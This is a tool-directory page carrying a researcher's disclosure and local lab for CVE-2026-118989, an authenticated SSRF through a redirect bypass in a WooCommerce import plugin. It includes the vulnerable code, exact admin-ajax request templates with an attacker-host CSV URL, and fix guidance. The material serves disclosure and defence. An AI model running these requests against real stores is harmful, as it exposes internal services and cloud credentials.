Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-118989-webtoffee-ssrf — Proof-of-concept and lab for CVE-2026-118989, an authenticated SSRF via redirect bypass in WebToffee Product Import Export for WooCommerce, with Docker lab and fix guidance. | Kitploit
Tools/GitHubGitHub/sarvarr1/cve-2026-118989-webtoffee-ssrf
Vulnerability AnalysisExploitationServerless SecurityWeb Application ExploitationWeb SecurityCloud SecurityLearning & EducationLabs & Practice
GitHubsarvarr1/cve-2026-118989-webtoffee-ssrf

CVE-2026-118989-webtoffee-ssrf

Proof-of-concept and lab for CVE-2026-118989, an authenticated SSRF via redirect bypass in WebToffee Product Import Export for WooCommerce, with Docker lab and fix guidance.

5 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    600
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    391
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    257

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-118989: Authenticated SSRF via redirect bypass in Product Import Export for WooCommerce

CVE CVSS 4.0 CWE Status

A patch bypass of CVE-2025-1912 in the WebToffee plugin Product Import Export for WooCommerce. A shop_manager can make the server fetch internal URLs through an HTTP redirect and read the response (non-blind SSRF).

PluginProduct Import Export for WooCommerce (product-import-export-for-woo)
Affected versions>= 2.5.1, < 2.6.8
Fixed in2.6.8
TypeSSRF, CWE-918 (incomplete fix / patch bypass)
CVSS 4.05.1 (Medium), CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Required privilegeshop_manager or administrator
RelatedCVE-2025-1912 (extension allowlist added in 2.5.1 is bypassed)
CVE recordCVE-2026-118989
AdvisoryVulnCheck advisory

Disclaimer. This repository documents a vulnerability that is already fixed and published. It is for education and defense. Test only on your own local environment or on systems you have written permission to test.

Contents

  • Summary
  • Root cause
  • Reproduction (local lab)
  • Impact
  • Fix and mitigation
  • Repository layout
  • Timeline
  • Credit

Summary

The product import "from URL" feature downloads a user-supplied URL with wp_remote_get() and redirection => 5, with no private or link-local IP validation.

The CVE-2025-1912 fix added only is_extension_allowed(), which checks the submitted URL string. An attacker submits a URL ending in an allowed extension (for example http://attacker.example/x.csv) that answers 302 to an internal address. WordPress follows the redirect and the target is never re-validated. The internal response is saved as a temporary CSV and returned through the column-mapping step, so the SSRF is non-blind.

Root cause

admin/modules/import/import.php (v2.6.7):

public function remote_get($target_url) {
    $def_args = array(
        'timeout'     => 5,
        'redirection' => 5,   // follows redirects
        'sslverify'   => false,
    );
    return wp_remote_get($target_url, $def_args);   // no private-IP / host validation
}

public function is_extension_allowed($file_url) {
    $ext_arr = explode('.', $file_url);
    $ext = strtolower(end($ext_arr));
    return isset($this->allowed_import_file_type[$ext]);   // checks the submitted URL only
}

Reproduction (local lab)

The lab in docker/ runs WordPress, WooCommerce, plugin 2.6.7, a shop_manager user, an attacker-controlled redirect server and an internal-only mock metadata service with fake credentials. Setup steps are in docker/README.md. Then run:

cd poc && chmod +x poc_ssrf.sh && ./poc_ssrf.sh

The script refuses to run against anything except 127.0.0.1 or localhost. Do not point this at any real internal network or cloud account.

The manual steps the script performs:

  1. Log in as shop_manager, open the import page and read the nonce from wt_iew_basic_params.nonces.main.
  2. Trigger the fetch:
POST /wp-admin/admin-ajax.php
action=iew_import_ajax_basic&import_action=validate_file&to_import=product&data_type=json
&_wpnonce=NONCE
&form_data[method_import_form_data]={"wt_iew_file_from":"url","wt_iew_url_file":"http://ATTACKER/evil.csv"}
  1. Read the fetched response through the mapping step:
POST /wp-admin/admin-ajax.php
action=iew_import_ajax_basic&import_action=get_steps&to_import=product&data_type=json
&_wpnonce=NONCE&temp_import_file=temp-product-<ts>.csv&steps=mapping&delimiter=,

Negative control

Submitted URLResult
http://INTERNAL/... (no allowed extension)Blocked: "File type not allowed."
http://INTERNAL/path/x.csv (direct)Fetched (allowlist checks the suffix only)
http://ATTACKER/evil.csv -> 302 -> http://INTERNAL/...Fetched (redirect target never checked)

Impact

A shop_manager role, often given to store staff without infrastructure access, can make the server send GET requests to internal or link-local addresses (for example cloud metadata at 169.254.169.254) and read the response. In the lab, a mock metadata service's credentials were returned to the attacker.

Fix and mitigation

  • Update to 2.6.8 or later.
  • Developer guidance: resolve the host and reject private, link-local and loopback ranges (RFC1918, 127.0.0.0/8, 169.254.0.0/16, ::1, fc00::/7) on every redirect hop.
  • Set redirection => 0, or re-validate each Location header.
  • Use reject_unsafe_urls => true in wp_remote_get() arguments.
  • Cloud hosts: enforce IMDSv2 and limit instance role permissions.

Repository layout

.
├── README.md
├── LICENSE
├── docker/        # local lab: docker-compose, redirect server, mock metadata service
└── poc/           # lab-only reproduction script

Timeline

DateEvent
2026-10-16Vulnerability discovered and confirmed in local lab
2026-10-16CVE requested via VulnCheck (CNA)
2026-10-16Vendor (WebToffee) notified
2026-10-26Fixed in 2.6.8
2026-10-29CVE-2026-118989 published

References

  • VulnCheck advisory
  • Fix changeset 3766250
  • Vulnerable code, import.php#L661 (v2.6.7)

Credit

Discovered by Sarvar Eshboyev. GitHub | LinkedIn

Download Tool